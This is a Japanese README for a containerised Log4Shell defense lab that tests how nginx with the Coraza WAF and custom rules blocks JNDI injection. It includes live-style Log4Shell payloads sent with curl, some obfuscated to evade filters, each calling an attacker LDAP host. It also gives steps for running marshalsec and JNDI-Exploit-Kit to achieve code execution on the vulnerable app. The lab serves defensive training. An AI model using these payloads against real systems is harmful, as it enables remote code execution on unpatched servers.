Log4Shell (CVE-2021-44228) 防御ラボ — nginx + Coraza WAF 動的モジュール + OWASP CRS v4. 教育目的のみ。
教育目的 / 防御目的: このラボには意図的に脆弱性のあるアプリ (Log4j 2.14.1) と JNDI エクスプロイトキットが含まれています。唯一の目的は、隔離された環境で Log4Shell を検出・ブロックする方法を学ぶことです。インターネットにデプロイせず、あなたが所有していないシステムへの攻撃に使用しないでください。
Coraza WAF (動的モジュール) + OWASP CRS v4 + カスタム JNDI ルールを統合した nginx を使用した Log4Shell (CVE-2021-44228) 防御実践ラボ。付属の脆弱な Spring Boot ターゲットコンテナ、Kali 攻撃ボックス、Suricata + Wazuh による監視機能を備えています。
Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, 外部公開)
│ ├── nginx-proxy ← エントリーポイント :80/:443、Coraza モジュール + CRS v4 搭載
│ ├── attacker-box ← Kali + JNDI エクスプロイトキット
│ └── suricata-ids ← dmz トラフィックの傍受
│
└── backend-net (172.22.0.0/24, 内部: true)
├── nginx-proxy ← 2番目の NIC
├── log4shell-app ← Spring Boot Log4j 2.14.1
├── wazuh-manager ← SIEM
└── wazuh-dashboard ← UI
リクエストフロー: client → nginx (Coraza 検査) → log4shell-app. WAF は nginx 内部 (モジュール ngx_http_coraza_module.so 経由) で動作し、別コンテナではありません。
| 項目 | 最小バージョン |
|---|---|
| Docker Desktop / Engine | Compose v2 対応の 24+ |
| 空き RAM | 4 GB (Wazuh が約 1.5 GB 消費) |
| 空きディスク | 6 GB (イメージビルド成果物) |
| 初回ビルド時間 | 10–15 分 (libcoraza + nginx モジュール + Maven 攻撃用ツール) |
cd /path/to/log4shell-nginx-coraza
docker compose build
最も時間がかかるステージは nginx (Go 1.25 で libcoraza v1.4.0 をビルドし、その後 coraza-nginx モジュールをコンパイル)。初回以降はキャッシュされます。
docker compose up -d
docker compose ps
約 30 秒後、期待されるステータス:
# nginx 死活監視
curl http://localhost/health
# → "nginx proxy healthy"
# WAF 経由でアプリへ (log4shell-vulnerable-app の実際のエンドポイント)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"
curl http://localhost/ にヘッダー X-Api-Version がない場合、400 が返ります — これは Spring Boot の whitelabel エラー (ハンドラなし) であり、WAF によるブロックではありません。
# User-Agent 内の JNDI → ルール 1910010 が発動、403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/
# アプログヘッダー X-Api-Version 内の JNDI → ルール 1910001 (header+arg) が発動、403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/
# クエリ文字列内の JNDI → CRS phase 1 がブロック
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'
期待される結果: HTTP/1.1 403 Forbidden、ボディ <html>... 403 Forbidden ... nginx ...</html>。
# Lower trick (ルール 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/
# Colon-dash-dash (ルール 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/
curl -i -X POST -H 'Content-Type: application/json' \
-d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
http://localhost/api/log
# → 403 (ルール 1910026: Content-Type=json かつボディに jndi を含む)
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
try:
d=json.loads(ln)
t=d['transaction']
ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
st=t['response']['status']
for m in t.get('messages') or []:
print(f'{st} {ua} :: {m[\"error_message\"][:160]}')
except: pass
"
各イベントは JSON Lines 形式で、以下を含みます:
transaction.is_interrupted: true → WAF がブロックmessages[].error_message → どのルールが発動したか、ファイルと行、重大度docker exec nginx-proxy tail -f /var/log/nginx/access.log
ブロックされたリクエストのフィルター:
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'
./logs/nginx/ ← access.log, error.log
./logs/coraza/ ← audit.log (JSON), debug.log
デフォルトでは
backend-netはinternal: trueに設定されており、attacker-boxはdmz-netにしかいないため、log4shell-app は attacker-box に 到達できません。JNDI チェーンをエンドツーエンドで動作させるには、まずステップ 6.0 を実行してください。
docker-compose.yml を編集し、attacker-box を backend-net に追加:
attacker-box:
networks:
- dmz-net
- backend-net # <— 追加
または、log4shell-app を dmz-net に移動 (より簡単ですが、セグメンテーションの教育効果は低下):
log4shell-app:
networks:
- backend-net
- dmz-net # <— 追加
適用: docker compose up -d (Compose が該当コンテナを再作成します)。
docker exec -it kali-attacker bash
cd /opt/exploits
# Option A: marshalsec — シンプル、LDAP→HTTP のリレーのみ
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2
# Option B: JNDI-Exploit-Kit — フルツールキット、ペイロード "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit
サーバーは LDAP :1389 と HTTP :8888 で待機 (compose 内でホストに公開済み)。
# attacker-box から、backend-net 上の log4shell-app に直接アクセス
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/
確認:
# Pwned マーカーがアプリコンテナ内に作成される
docker exec victim-app ls -la /tmp/pwned
ファイルが存在する場合 → エクスプロイトチェーン OK、アプリは依然として脆弱、WAF はメインパスを経由する場合にバイパスされません。
# nginx (公開メインパス) 経由
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden、新しい /tmp/pwned は作成されない
ファイル ./coraza/config/log4shell-rules.conf は :ro で nginx の /etc/nginx/coraza/log4shell-rules.conf にマウントされています。編集後:
docker exec nginx-proxy nginx -t # 構文チェック
docker exec nginx-proxy nginx -s reload
Coraza がパースエラーを報告した場合 (failed to compile the directive...)、ワーカーは終了し、nginx -s reload では再 spawn できません。その場合は:
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log
インクルード順序 (nginx/coraza/main.conf、イメージに焼き付け済み):
SecRuleEngine On、監査ログ、デバッグログcrs-setup.conf — tx.*_anomaly_score、しきい値の初期化owasp-crs/rules/*.conf — CRS v4.7.0 の全体log4shell-rules.conf — カスタムルール (ホストからマウント)カスタムルール ID 範囲: 1910001 – 1910999 (CRS の範囲 900000–999999 を避ける)。
EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFO, DEBUG。HIGH/LOW は無効。IP:, SESSION:, RESOURCE:) は、バッキングストアが設定されていないと 動作しません。リクエストごとに tx. を使用するか、nginx limit_req_zone でレート制限を行ってください。(unhealthy) / curl localhost がハングdocker exec nginx-proxy tail -20 /var/log/nginx/error.log | grep coraza
通常、新しいルールの構文エラーが原因 → 全ワーカーがコード 2 で終了。ルールを修正し、docker compose restart nginx。
failed to create WAF: ... unknown severity: HIGHカスタムルール内の severity:'HIGH' を severity:'ERROR' に変更。
failed to compile the directive "secrule": invalid arguments, expected collection TXルールで setvar:ip.xxx を使用しているか、IP:something / TX:NEVER_DECLARED を参照している。永続コレクションを削除するか、ロジックを単一チェーンルールにまとめてください。
Exited (1)イメージ jasonish/suricata:latest には独自のエントリポイントがあり、./suricata/config/ からの yaml マウントがイメージ内のバージョンと互換性がない可能性があります。簡単な修正: compose 内で suricata サービスを一時的にコメントアウト。ラボは正常に動作します (Coraza の動作に IDS は不要)。完全に修正するには、イメージのデフォルト yaml で置き換えてください (docker run --rm jasonish/suricata cat /etc/suricata/suricata.yaml.dist > suricata/config/suricata.yaml)。
ベースイメージは Alpine 3.8 EOL。compose 内のコマンドが ["java", "-jar", "/app/spring-boot-application.jar"] であることを確認してください (apk add iptables は 不要 — Alpine 3.8 のリポジトリは 404 です)。
http://localhost:5601 で Wazuh ダッシュボードにアクセスできないWazuh マネージャー + ダッシュボードが完全に機能するには、wazuh-indexer (OpenSearch) が必要です。現在のスタックにはそのサービスがありません。ダッシュボードは起動しますが、ログインに失敗します。実際に必要な場合は、公式 compose に従って wazuh-indexer サービスを追加してください。
# コンテナの停止 + 削除、イメージキャッシュ保持
docker compose down
# 完全削除 (Wazuh ボリューム含む、次回強制再ビルド)
docker compose down -v
# ビルドイメージも削除 (約 3 GB 解放)
docker rmi log4shell-nginx-coraza-nginx log4shell-nginx-coraza-attacker-box
log4shell-nginx-coraza/
├── docker-compose.yml
├── nginx/
│ ├── Dockerfile # マルチステージ: libcoraza + coraza-nginx + CRS v4
│ ├── nginx.conf # load_module + coraza on; http{} 内
│ ├── conf/
│ │ └── default.conf # リバースプロキシ → log4shell-app:8080
│ └── coraza/
│ └── main.conf # エンジン設定 + CRS の Include + カスタム
├── coraza/
│ └── config/
│ └── log4shell-rules.conf # カスタム JNDI ルール、:ro で nginx にマウント
├── attacker/
│ ├── Dockerfile # Kali + marshalsec + JNDI-Exploit-Kit + rogue-jndi
│ ├── scripts/
│ │ ├── start-ldap-server.sh
│ │ └── test-payloads.sh
│ └── exploit-classes/
│ └── Exploit.java
├── suricata/
│ ├── config/
│ └── rules/
├── wazuh/config/
└── logs/ # nginx、coraza、アプリ、suricata、wazuh のマウントポイント
| 範囲 | 担当 | CRS 範囲との重複? |
|---|---|---|
| 900000–999999 | OWASP CRS v4 (初期化、IP 評価、プロトコル、RCE、SQLi、XSS、スキャナ、eval ブロック) | (CRS 所有) |
| 1910000–1910999 | カスタム Log4Shell ルール | なし |
現在の全カスタムルール ID: 1910001–1910008 (JNDI パターン)、1910010–1910014 (ヘッダー毎)、1910015 (代替プロトコル)、1910020 (スキャン検出)、1910026 (JSON ボディチェーン)、1910028 (XML ボディチェーン)、1910030 (パラノイア 3)、1910999 (異常評価エコー)。
終了: ラボがステップ 4 まで動作すれば、WAF は機能しています。完全なエクスプロイトチェーンをエンドツーエンドでデモしたい場合のみ、ステップ 6 が必要です。
| Service | STATUS |
|---|
nginx-proxy | Up (healthy) |
victim-app | Up |
kali-attacker | Up |
wazuh-siem, wazuh-web | Up |
suricata-ids | Restarting の場合あり (セクション 8 参照 — ラボの進行を妨げない) |
TX:VARNAME は、同じリクエスト内で setvar された変数のみ参照可能です。ルールが異なるフェーズにある場合は、チェーンルールにまとめることを検討してください。